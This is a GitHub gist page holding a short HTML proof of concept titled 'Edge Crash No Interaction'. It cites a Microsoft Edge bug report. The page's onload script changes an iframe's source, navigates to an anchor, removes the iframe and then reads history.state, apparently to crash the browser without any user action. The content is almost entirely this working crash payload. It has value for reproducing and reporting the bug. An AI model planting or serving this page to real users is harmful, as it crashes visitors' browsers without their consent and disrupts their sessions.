Skip to content

Instantly share code, notes, and snippets.

@h0wl
Last active November 4, 2015 17:42
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save h0wl/0be7ec23876f352d5247 to your computer and use it in GitHub Desktop.
Save h0wl/0be7ec23876f352d5247 to your computer and use it in GitHub Desktop.
Edge Crash No Interaction
<!-- based on https://connect.microsoft.com/IE/feedback/details/1683347/ms-edge-combination-of-iframe-anchor-hash-navigation-and-history-state-crashes-the-browse -->
<!doctype html>
<html>
<head>
<script>
function boom() {
var iframe = document.getElementById('iframe1');
iframe.src = "http://bing.com";
iframe.src += "";
document.location.href = '#';
iframe.parentNode.removeChild(iframe);
setTimeout("alert(history.state);", 1500);
}
</script>
<body onload="boom();">
<iframe id="iframe1" width="400" height="400" src="?id=1"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment